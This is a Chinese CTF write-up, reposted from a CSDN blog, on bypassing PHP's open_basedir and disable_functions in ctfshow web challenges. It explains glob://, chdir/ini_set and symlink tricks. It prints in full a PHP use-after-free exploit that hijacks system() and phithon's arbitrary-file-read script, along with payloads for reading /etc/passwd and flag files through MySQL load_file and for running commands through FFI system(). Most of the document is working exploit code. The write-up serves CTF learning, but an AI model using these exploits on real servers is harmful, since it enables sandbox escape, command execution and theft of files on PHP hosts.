讲解
open_basedir是php.ini中的一个配置选项，可用于将用户访问文件的活动范围限制在指定的区域。
假设open_basedir=/var/www/html/web1/:/tmp/，那么通过web1访问服务器的用户就无法获取服务器上除了/var/www/html/web1/和/tmp/这两个目录以外的文件。
可以通过phpinfo查看是否限制
ctfshow题目：
error_reporting(0);
highlight_file(__FILE__);
eval($_POST[1]);
利用命令执行函数Bypass
open_basedir对命令执行函数没有限制，我们可以使用system()函数读到目标文件
利用glob://伪协议Bypass
只是用glob://伪协议是无法直接绕过的，它需要结合其他函数组合利用，主要有以下两种利用方式，局限性在于它们都只能列出根目录下和open_basedir指定的目录下的文件，不能列出除前面的目录以外的目录中的文件，且不能读取文件内容。
方式1—DirectoryIterator+glob://
DirectoryIterator是php5中增加的一个类，为用户提供一个简单的查看目录的接口。
DirectoryIterator与glob://结合将无视open_basedir，列举出根目录下的文件
<?php
一句话payload
$c = "glob:///*"；
$a = new DirectoryIterator($c);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>
c=$c = "glob:///*";$a = new DirectoryIterator($c);foreach($a as $f){echo($f->__toString().'<br>');}exit();
方式2——opendir()+readdir()+glob://
opendir()函数为打开目录句柄，readdir()函数为从目录句柄中读取条目
一句话
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };exit(0);
利用chdir()与ini_set()组合Bypass
payload：其中
chdir('..')
尽量多，确保到达根目录来读文件内容
chdir('mi1k7ea');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/passwd');
然后使用脚本来读取flag文件 脚本需要编码传参
?><?php
pwn("cat /flag0.txt");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function my_str_repeat($a,$b){
$s = '';
for($i = 0; $i <= $b;$i++){
$s.=$a;
}
return $s;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(my_str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(my_str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
exit();
P神脚本绕过
传参file为
<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
mkdir($paths[$i]);
chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
mkdir($name);
chdir($name);
$j++;
}
for ($i = 0; $i <= $j; $i++) {
chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');
function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);
$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;
foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}
function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}else if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == NULL) return false;
while(false !== ($file = @readdir($mydir)))
{
$name = File_Str($deldir.'/'.$file);
if(($file!='.') && ($file!='..')){delfile($name);}
}
@closedir($mydir);
@chmod($deldir,0777);
return @rmdir($deldir) ? true : false;
}
}
function File_Str($string)
{
return str_replace('//','/',str_replace('\\','/',$string));
}
function getRandStr($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $randStr;
}
（1）绕过例题
**ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空（擦除）缓冲区并关闭输出缓冲 **
需要exit(0)中断退出，或者eval语句格式为 ?><?php ?>来闭合让后面代码不执行
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗？
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
题目禁了很多函数
payload:
c=var_export(scandir('/'));exit();
c=include("/flagc.txt");exit(0);
c=require("/flagc.txt");exit(0);
c=require_once("/flagc.txt");exit(0);
如果open_basedir限制了flag文件那么可以用sql读取
**利用
mysql
的
load_file
读文件，绕过
open_basedir
限制。（只限制了PHP的访问目录，不关MYSQL的事情）数据库名、账号密码可以通过之前的题目（过滤少的）拿到。所以这个方法条件是必须要有数据库名、账号密码**
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
（2） web 77
FFI，php7.4以上才有 这题在题干中说到php7.4，可以来绕过disable_functions
FFI（Foreign Function Interface），即外部函数接口，是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
payload：
c= $ffi=FFI :: cdef("int system(const char *command);"); $a='/readflag > 1.txt'; $ffi->system($a); exit();
标签：
android
本文转载自: https://blog.csdn.net/m0_73847654/article/details/134915329
版权归原作者 El.十一 所有， 如有侵权，请联系我们删除。
版权归原作者 El.十一 所有， 如有侵权，请联系我们删除。